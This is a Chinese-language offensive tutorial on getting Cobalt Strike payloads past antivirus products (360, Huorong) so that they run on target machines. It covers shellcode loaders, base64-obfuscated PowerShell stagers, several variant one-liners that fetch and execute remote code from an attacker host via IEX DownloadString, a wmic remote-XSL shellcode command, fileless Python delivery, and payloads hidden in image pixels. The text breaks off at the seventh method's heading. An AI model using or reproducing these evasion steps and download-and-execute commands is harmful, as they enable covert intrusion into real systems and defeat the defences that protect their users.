CS远控免杀-01
CS远控免杀-01
前言
攻防实战中,目标机器几乎都装有杀软,其中绝大部分装有36X或者火X,不做免杀根本没法搞。
此处介绍几种cs免杀上线的姿势。(尽量别用云查杀跑。)
方法一:免杀shellcode加载器
截止2021.6.25测试有效
1.1 https://github.com/pureqh/bypassAV
实际测试可过36X和火X。静态动态均未报毒:(亲测可用的CS payload有C、Perl、Python、Ruby、Vell(注意勾选x64,x32不适用))
生成免杀exe,到目标机器执行上线即可
1.2 https://github.com/MrWQ/HanGuang
实际测试可过36X和火X。静态动态均未报毒。
方法二:cs自带powershell脚本编码混淆后免杀
截止2021.6.24测试有效(测试用cs版本为4.1,)
1. 本机生成ps1脚本
attacks->packages->payload generator->powershell (不勾选64)
生成后如下图:(此时执行ps1会被杀)
2. 修改IEX执行命令内容
观察ps1脚本,我们可以对$DoIt进行编码,然后再解码,将整个ps1内容进行base64编码(可尝试其他加密方式绕过),替换变量DoIt:
解密后变量=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(加密后变量))
进一步优化,将base64分段处理:
3. 执行 :Powershell -ExecutionPolicy Bypass -File zzz.ps1 成功免杀上线
-ExecutionPolicy Bypass将执行策略设置为绕过,这样可以执行powershell脚本文件。
方法三:变形powershell命令绕过
截止2021.7.7测试有效
1. 生成payload :attacks->web-driverby->scripted web delivery(s) 生成powershell payload。
经测试,其中‘-w hidden’、‘downloadstring’动作会被检测到。下边有几种变形方式成功绕过AV上线:
(pis:360标准版貌似只拦:‘-w hidden’。。。默认生成的cs马把这个参数删掉就能过。)
1、echo Invoke-Expression(new-object net.webclient).downloadstring('http://x.x.x.x/a') | powershell -
2、powershell set-alias -name zzz -value IEX;zzz(New-Object Net.WebClient).DownloadString('http://x.x.x.x/a')
3、powershell -c "IEX(New-Object Net.WebClient)."DownloadString"('http://x.x.x.x/a')"
4、powershell.exe -nop -c ".(LS Alias:/IX) ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))"
5、powershell.exe -nop -c "&(GAL IX) ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))"
2. cmd执行payload成功上线,且杀软未拦截。
方法四:利用wmic远程文件不落地执行shellcode
截止2021.6.30测试有效
参考:https://github.com/Ridter/AMSI_bypass
实际测试可过36X和火X。
-
将shellcode.xsl部署在vps上
-
在靶机上执行命令,成功上线:
wmic os get /format:"http://192.x.x.x:8080/shellcode.xsl"
-
此方法已在git上发布CS插件(3年前的方法都不修吗orz)
方法五:cs不落地python payload
截止2021.6.24测试有效(测试用cs版本为4.1,万万没想到竟然有自带payload可直接上线,大概是对python、go等略新的语言检测不到位吧)
1. 生成payload :attacks->web-driverby->scripted web delivery(s) 生成python payload。
2. cmd执行payload成功上线,且杀软未拦截。
3. 其他几种默认payload均会杀:
4. 安装python2环境
真实环境下,大概率不存在python2环境,那么关键在于给目标服务器安装python2环境。
-
可先上传python-2.7.18.amd64.msi,下载地址:https://www.python.org/downloads/release/python-2718/
-
采用无交互的方式安装python-2.7.18.amd64.msi /passive,默认安装路径在C:\
- 切换到默认安装路径:C:\Python27 测试是否安装成功。(错误要根据事件查看器做相应修改)错误一:应用程序无法启动,因为应用程序的并行配置不正确。有关详细信息,请参阅应用程序事件日志。解决方案:编辑同路径下文件Microsoft.VC90.CRT.manifest,修改为参考值:
5. 执行payload,成功上线
方法六:把cs的powershell脚本隐写到图片的RGB里,然后使其过杀软
参考:
本文写明步骤基本如下:
- CS通过PayloadGenerator生成一个powershell(x64)payload ---payload.ps1
- 下载git项目:https://github.com/dayuxiyou/Invoke-PSImage ,并将payload.ps1及一张正常图片放入同目录下
- 通过powershell命令生成一张带有shellcode的图片shell.png:
- 设置执行策略
Set-ExecutionPolicy Unrestricted -Scope CurrentUser - 导入ps1文件
Import-Module .\Invoke-PSimage.ps1 - 生成带有shellcode的图片
Invoke-PSImage -Script .\payload.ps1 -Image .\shell.jpg -Out .\shell.png -Web
- 步骤3同时会生成一段powershell代码,将其中example.com替换成可访问到的vps(图片记得上传过去)。
- 开启两款国产杀软的情况下,打开powershell命令行,输入上述代码成功上线。
- 思考:一般情况下获得的shell无法直接执行powershell命令,通过如下命令调用会报错(咱也不会改。)
那只能保存成.ps1,通过powershell.exe -ExecutionPolicy bypass -file z.ps1执行了,测试发现调用ps下载文件的动作会被火X拦。
那只能再进行一次base64编码了,
上传编码后的ps1脚本到目标机,通过powershell.exe -ExecutionPolicy bypass -file z.ps1执行,成功绕过AV上线
方法七:利用Invoke-Obfuscation混淆Ps文件实现上线
截止2021.7.7测试有效